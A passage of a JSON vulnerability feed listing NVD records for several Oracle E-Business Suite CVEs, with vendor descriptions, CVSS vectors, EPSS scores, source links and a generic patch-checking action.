fixes.","publishedAt":"2026-10-20T22:18:20.097Z","updatedAt":"2026-10-21T19:16:54.553Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101658","asOf":"2026-10-21T19:16:54.553Z"},"epss":{"probability":0.0036,"percentile":0.29481,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101658&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101658","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101658","type":"primary","publishedAt":"2026-10-20T22:18:20.097Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101658&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101658, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101656","cveId":"CVE-2026-101656","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:19.963Z","updatedAt":"2026-10-24T04:18:12.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101656","asOf":"2026-10-24T04:18:12.877Z"},"epss":{"probability":0.00433,"percentile":0.37303,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101656&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101656","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101656","type":"primary","publishedAt":"2026-10-20T22:18:19.963Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101656&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101656, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101655","cveId":"CVE-2026-101655","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:19.843Z","updatedAt":"2026-10-24T04:18:12.730Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101655","asOf":"2026-10-24T04:18:12.730Z"},"epss":{"probability":0.00433,"percentile":0.37303,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101655&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101655","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101655","type":"primary","publishedAt":"2026-10-20T22:18:19.843Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101655&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101655, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101654","cveId":"CVE-2026-101654","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:19.730Z","updatedAt":"2026-10-24T04:18:12.577Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101654","asOf":"2026-10-24T04:18:12.577Z"},"epss":{"probability":0.00433,"percentile":0.37304,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101654&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101654","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101654","type":"primary","publishedAt":"2026-10-20T22:18:19.730Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101654&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101654, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101653","cveId":"CVE-2026-101653","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Mobile Field Service product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Mobile Field Service.  Successful attacks of this vulnerability can result in takeover of Oracle Mobile Field Service. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:19.613Z","updatedAt":"2026-10-24T04:18:12.430Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101653","asOf":"2026-10-24T04:18:12.430Z"},"epss":{"probability":0.00433,"percentile":0.37303,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101653&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101653","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101653","type":"primary","publishedAt":"2026-10-20T22:18:19.613Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101653&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101653, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101650","cveId":"CVE-2026-101650","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Partner Management.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Partner Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Partner Management. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L).","detail":"Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Partner Management.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Partner Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Partner Management. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:19.383Z","updatedAt":"2026-10-21T19:16:53.840Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101650","asOf":"2026-10-21T19:16:53.840Z"},"epss":{"probability":0.00377,"percentile":0.31368,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101650&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101650","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101650","type":"primary","publishedAt":"2026-10-20T22:18:19.383Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101650&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101650, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101649","cveId":"CVE-2026-101649","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Partner Management.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Partner Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Partner Management. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L).","detail":"Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTPS to compromise Oracle Partner Management.  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Partner Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Partner Management. CVSS 3.1 Base Score 7.1 (Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:19.263Z","updatedAt":"2026-10-21T19:16:53.723Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101649","asOf":"2026-10-21T19:16:53.723Z"},"epss":{"probability":0.00377,"percentile":0.31368,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101649&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101649","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101649","type":"primary","publishedAt":"2026-10-20T22:18:19.263Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101649&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101649, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101648","cveId":"CVE-2026-101648","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Partner Management.  While the vulnerability is in Oracle Partner Management, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Partner Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Partner Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Partner Management. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L).","detail":"Vulnerability in the Oracle Partner Management product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Partner Management.  While the vulnerability is in Oracle Partner Management, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Partner Management accessible data as well as  unauthorized access to critical data or complete access to all Oracle Partner Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Partner Management. CVSS 3.1 Base Score 8.4 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:19.140Z","updatedAt":"2026-10-21T19:16:53.607Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101648","asOf":"2026-10-21T19:16:53.607Z"},"epss":{"probability":0.00322,"percentile":0.24934,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101648&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101648","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101648","type":"primary","publishedAt":"2026-10-20T22:18:19.140Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101648&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101648, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101647","cveId":"CVE-2026-101647","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports).","summary":"Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle iSetup.  Successful attacks of this vulnerability can result in takeover of Oracle iSetup. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle iSetup.  Successful attacks of this vulnerability can result in takeover of Oracle iSetup. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:19.023Z","updatedAt":"2026-10-21T19:16:53.487Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101647","asOf":"2026-10-21T19:16:53.487Z"},"epss":{"probability":0.00359,"percentile":0.29371,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101647&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101647","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101647","type":"primary","publishedAt":"2026-10-20T22:18:19.023Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101647&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101647, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101646","cveId":"CVE-2026-101646","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports).","summary":"Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle iSetup.  Successful attacks of this vulnerability can result in takeover of Oracle iSetup. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle iSetup product of Oracle E-Business Suite (component: General Ledger Update Transform, Reports).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle iSetup.  Successful attacks of this vulnerability can result in takeover of Oracle iSetup. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:18.913Z","updatedAt":"2026-10-21T19:16:53.360Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101646","asOf":"2026-10-21T19:16:53.360Z"},"epss":{"probability":0.00514,"percentile":0.43502,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101646&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101646","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101646","type":"primary","publishedAt":"2026-10-20T22:18:18.913Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not 